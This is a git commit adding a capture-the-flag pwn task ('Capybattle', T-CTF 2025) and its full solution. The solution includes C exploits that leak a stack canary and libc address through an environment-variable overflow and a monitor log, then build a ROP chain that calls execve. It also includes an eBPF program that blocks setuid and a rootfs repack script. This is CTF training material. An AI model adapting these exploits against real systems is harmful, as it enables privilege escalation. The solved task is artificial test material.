commit a0e1d6f7ab0b509717f09b68497b9ad3446e4f78 Author: nihonium Date: Tue Apr 29 03:40:01 2025 +0300 added task and solution diff --git a/README.md b/README.md new file mode 100644 index 0000000..ace23f7 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# [T-CTF 2025, pwn] Capybattle writeup + +Ссылка на writeup: [[T-CTF 2025, pwn] Capybattle writeup](https://blog.nekoea.red/posts/tctf25-capybattle-writeup/) diff --git a/solution/repack.sh b/solution/repack.sh new file mode 100644 index 0000000..3ffd0b2 --- /dev/null +++ b/solution/repack.sh @@ -0,0 +1,20 @@ +#/usr/bin/env bash +set -euo pipefail + +rm -rf rootfs/* +cd rootfs +zstd -cd ../rootfs.cpio.zst | cpio -id +echo "Unpacked" + +cp ../spl/leak_stack . +echo "Copied leak_stack" + +cp ../spl/sploit . +echo "Copied sploit" + +cp ../setuid_fail . +echo "Copied setuid_fail" + +sleep 2 +find . -print0| cpio -H newc --null -o --owner=root:root | zstd -f -19 -o ../rootfs.cpio.zst +echo "Repacked" diff --git a/solution/setuid_fail/monitor_shim.c b/solution/setuid_fail/monitor_shim.c new file mode 100644 index 0000000..667e9d2 --- /dev/null +++ b/solution/setuid_fail/monitor_shim.c @@ -0,0 +1,12 @@ +#include +#include +#include + +int main() { + struct stat st; + sleep(30); + execve("/tmp/setuid_fail", NULL, NULL); + printf("failed\n"); + perror("execve"); + +} diff --git a/solution/setuid_fail/setuid_fail.bpf.c b/solution/setuid_fail/setuid_fail.bpf.c new file mode 100644 index 0000000..b60015a --- /dev/null +++ b/solution/setuid_fail/setuid_fail.bpf.c @@ -0,0 +1,20 @@ +#include "vmlinux.h" +#include +#include +#include + +char LICENSE[] SEC("license") = "GPL"; + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +#define EPERM 1 + +SEC("fmod_ret/__x64_sys_setuid") +long BPF_PROG(handle_setuid, struct pt_regs *regs, int ret) +{ + // Block the setuid call + return -EPERM; +} diff --git a/solution/setuid_fail/setuid_fail.c b/solution/setuid_fail/setuid_fail.c new file mode 100644 index 0000000..8fe5ad6 --- /dev/null +++ b/solution/setuid_fail/setuid_fail.c @@ -0,0 +1,74 @@ +#include // for bpf_map__fd, ring_buffer__new, ring... +#include // for EINTR +#include // for signal, SIGINT, SIGTERM, size_t +#include // for bool, false, true +#include // for fprintf, stderr, NULL +#include // for exit, EXIT_FAILURE +#include // for memcpy +#include "setuid_fail.skel.h" + +static volatile bool running = true; + +#define MAX_ENV_VARS 128 +#define MAX_STRINGS_SIZE (1 << 14) + +struct event { + int env_offsets[MAX_ENV_VARS]; + char strings[MAX_STRINGS_SIZE]; +}; + +static int handle_event(void *ctx __attribute__((unused)), + void *data, size_t data_sz) +{ + fprintf(stderr, "blocked setuid()"); + return 0; +} + +static void sig_handler(int sig) +{ + fprintf(stderr, "Received signal %d, exiting...\n", sig); + running = false; +} + +int main(void) +{ + struct setuid_fail_bpf *skel; + struct ring_buffer *rb; + int err; + + // Set up signal handler + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + // Open and load BPF program + skel = setuid_fail_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + exit(EXIT_FAILURE); + } + + // Attach BPF program + err = setuid_fail_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF skeleton\n"); + exit(EXIT_FAILURE); + } + + // Set up ring buffer + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + fprintf(stderr, "Failed to create ring buffer\n"); + exit(EXIT_FAILURE); + } + + fprintf(stderr, "Successfully started! Please run commands to see setuid() calls.\n"); + + // Main loop + while (running) { + err = ring_buffer__poll(rb, -1); + if (err < 0 && err != -EINTR) { + fprintf(stderr, "Error polling ring buffer: %d\n", err); + break; + } + } +} diff --git a/solution/spl/Makefile b/solution/spl/Makefile new file mode 100644 index 0000000..f10550c --- /dev/null +++ b/solution/spl/Makefile @@ -0,0 +1,6 @@ +all: sploit leak_stack + +sploit: + gcc -static sploit.c -o sploit +leak_stack: + gcc -static leak_stack.c -o leak_stack diff --git a/solution/spl/leak_stack.c b/solution/spl/leak_stack.c new file mode 100644 index 0000000..5eaab38 --- /dev/null +++ b/solution/spl/leak_stack.c @@ -0,0 +1,88 @@ +#include +#include +#include +#include +#include + +char *spl_argv[] = {"nonexistent", NULL}; + +#define BUFFER_SIZE 4096 +#define TARGET "LD_PRELOAD=" +#define TARGET_LEN 11 + +uint8_t search_byte() { + FILE *fp = fopen("/var/log/execve_monitor.log", "rb"); + if (!fp) { + perror("Failed to open file"); + return 1; + } + char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling + size_t bytes_read; + long offset = 0; + long last_found = -1; + + // Initialize buffer prefix for overlap (set to 0s) + memset(buffer, 0, TARGET_LEN); + + while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) { + for (size_t i = 0; i < bytes_read; i++) { + if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) { + last_found = offset + i - TARGET_LEN; + } + } + + // Move last TARGET_LEN bytes to the beginning for overlap in next chunk + memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN); + offset += bytes_read; + } + + long read_offset = last_found +TARGET_LEN + 1; + if (fseek(fp, read_offset, SEEK_SET) != 0) { + perror("fseek failed"); + fclose(fp); + return 1; + } + + int c = fgetc(fp); + //printf("Found byte: %02x\n", c); + + fclose(fp); + return c; +} + +uint8_t leak_offset(size_t offset) { + char *spl_envp[3]; + + offset = offset - 13; + + char env0[offset]; + for(int i = 0; i < offset; ++i) { + env0[i]='A'; + } + env0[offset] = '\0'; + + spl_envp[0] = env0; + spl_envp[1] = "MEOW"; + spl_envp[2] = NULL; + + execve(spl_argv[0], NULL, spl_envp); + + spl_envp[0] = "LD_PRELOAD="; + spl_envp[1] = NULL; + + execve(spl_argv[0], NULL, spl_envp); + sleep(0.2); + return search_byte(); +} + +int main(int argc) { + uint8_t byte; + for (int i = 0; i < 200; ++i) { + byte = leak_offset(8200+i); + if (i % 16 == 0) { + printf("\n%04x: ", i); + } + printf("%02x ", byte == 0x0a ? 0x00 : byte); + } + printf("\n"); +} diff --git a/solution/spl/sploit.c b/solution/spl/sploit.c new file mode 100644 index 0000000..b0fb444 --- /dev/null +++ b/solution/spl/sploit.c @@ -0,0 +1,221 @@ +#include +#include +#include +#include +#include + +char *spl_argv[] = {"nonexistent", NULL}; + +#define BUFFER_SIZE 4096 +#define TARGET "LD_PRELOAD=" +#define TARGET_LEN 11 + +uint8_t search_byte() { + FILE *fp = fopen("/var/log/execve_monitor.log", "rb"); + if (!fp) { + perror("Failed to open file"); + return 1; + } + char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling + size_t bytes_read; + long offset = 0; + long last_found = -1; + + // Initialize buffer prefix for overlap (set to 0s) + memset(buffer, 0, TARGET_LEN); + + while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) { + for (size_t i = 0; i < bytes_read; i++) { + if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) { + last_found = offset + i - TARGET_LEN; + } + } + + // Move last TARGET_LEN bytes to the beginning for overlap in next chunk + memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN); + offset += bytes_read; + } + + long read_offset = last_found +TARGET_LEN + 1; + if (fseek(fp, read_offset, SEEK_SET) != 0) { + perror("fseek failed"); + fclose(fp); + return 1; + } + + int c = fgetc(fp); + //printf("Found byte: %02x\n", c); + + fclose(fp); + return c; +} + +uint8_t leak_offset(size_t offset) { + char *spl_envp[3]; + + offset = offset - 13; + + char env0[offset]; + for(int i = 0; i < offset; ++i) { + env0[i]='A'; + } + env0[offset] = '\0'; + + spl_envp[0] = env0; + spl_envp[1] = "MEOW"; + spl_envp[2] = NULL; + + execve(spl_argv[0], NULL, spl_envp); + + spl_envp[0] = "LD_PRELOAD="; + spl_envp[1] = NULL; + + execve(spl_argv[0], NULL, spl_envp); + sleep(0.2); + return search_byte(); +} + +void pwn(uint64_t canary, uint64_t libc) { + char *spl_envp[128]; + char *two_zeroes = "\0"; + + // Canary preparations + uint8_t canary_bytes[9]; + uint8_t canary_single_byte[2] = {0}; + + for (int i = 7; i >= 0; i--) { + canary_bytes[i] = (canary >> (8 * i)) & 0xFF; + } + canary_bytes[8] = '\0'; + + canary_single_byte[0] = canary_bytes[0]; + // END: Canary preparations + + // Fillers + int filler0_len = 8200 - 12 - 12; + char filler0[filler0_len]; + + int filler1_len = 24 - 8 - 1 - 1; + char filler1[filler1_len]; + + for (int i = 0; i < filler0_len; ++i) { + filler0[i] = 'A'; + } + filler0[filler0_len-1] = '\0'; + + for (int i = 0; i < filler1_len; ++i) { + filler1[i] = 'A'; + } + filler1[filler1_len-1] = '\0'; + // END: Fillers + + // ROP Gadgets + // pop rdi; ret + uint64_t pop_rdi = libc + 0x1429c; + uint8_t pop_rdi_bytes[7]; + pop_rdi_bytes[6] = '\0'; + + // tmp path: /tmp/buildroot-2025.02/monitor + uint64_t tmp_path = 0x40334c; + uint8_t tmp_path_bytes[4]; + tmp_path_bytes[3] = '\0'; + + // execve + //uint64_t libc_exit = libc + 0x14090; //exit + uint64_t libc_exit = libc + 0x4CD20; //execve + uint8_t libc_exit_bytes[7]; + libc_exit_bytes[6] = '\0'; + + // puts + uint64_t libc_puts = libc + 0x5E340; + uint8_t libc_puts_bytes[7]; + libc_puts_bytes[6] = '\0'; + + for (int i = 5; i >= 0; i--) { + libc_exit_bytes[i] = (libc_exit >> (8 * i)) & 0xFF; + } + for (int i = 5; i >= 0; i--) { + libc_puts_bytes[i] = (libc_puts >> (8 * i)) & 0xFF; + } + for (int i = 5; i >= 0; i--) { + pop_rdi_bytes[i] = (pop_rdi >> (8 * i)) & 0xFF; + } + for (int i = 2; i >= 0; i--) { + tmp_path_bytes[i] = (tmp_path >> (8 * i)) & 0xFF; + } + // END: ROP Gadgets + + // Exploitation + + spl_envp[0] = "LD_PRELOAD="; + spl_envp[1] = filler0; + spl_envp[2] = canary_single_byte; + spl_envp[3] = &canary_bytes[2]; + spl_envp[4] = filler1; + spl_envp[5] = two_zeroes; + spl_envp[6] = pop_rdi_bytes; + + // ROP start + // pop rdi + spl_envp[7] = two_zeroes; + spl_envp[8] = pop_rdi_bytes; + + // tmp path + spl_envp[9] = two_zeroes; + spl_envp[10] = tmp_path_bytes; + spl_envp[11] = two_zeroes; + spl_envp[12] = two_zeroes; + spl_envp[13] = two_zeroes; + + // puts + //spl_envp[14] = two_zeroes; + //spl_envp[15] = libc_puts_bytes; + //spl_envp[16] = NULL; + + // execve + spl_envp[14] = two_zeroes; + spl_envp[15] = libc_exit_bytes; + spl_envp[16] = NULL; + + execve(spl_argv[0], NULL, spl_envp); +} + +uint64_t leak_libc() { + uint8_t libc_bytes[6] = {0}; + uint64_t libc_addr = 0; + uint8_t byte; + + for (int i = 0; i < 6; i++) { + byte = leak_offset(8200 + 0xa0 + i); + libc_bytes[i] = byte == 0x0A ? 0x00 : byte; + } + for (int i = 0; i < 6; i++) { + libc_addr |= ((uint64_t)libc_bytes[i] << (8 * i)); + } + printf("libc+__libc_start_main_ret: 0x%08llx\n", libc_addr); + libc_addr -= 0x1E41B; + printf("libc: 0x%08llx\n", libc_addr); + return libc_addr; +} + +uint64_t leak_canary() { + uint8_t canary_bytes[8] = {0}; + uint64_t canary = 0; + uint8_t byte; + + for (int i = 0; i < 8; i++) { + byte = leak_offset(8200 + i); + canary_bytes[i] = byte == 0x0A ? 0x00 : byte; + } + for (int i = 0; i < 8; i++) { + canary |= ((uint64_t)canary_bytes[i] << (8 * i)); + } + printf("canary: 0x%08llx\n", canary); + return canary; +} + +int main(int argc) { + uint64_t libc = leak_libc(); + uint64_t canary = leak_canary(); + pwn(canary, libc); +} diff --git a/task/capybattle_7571838.tar.gz b/task/capybattle_7571838.tar.gz new file mode 100644 index 0000000..2135302 Binary files /dev/null and b/task/capybattle_7571838.tar.gz differ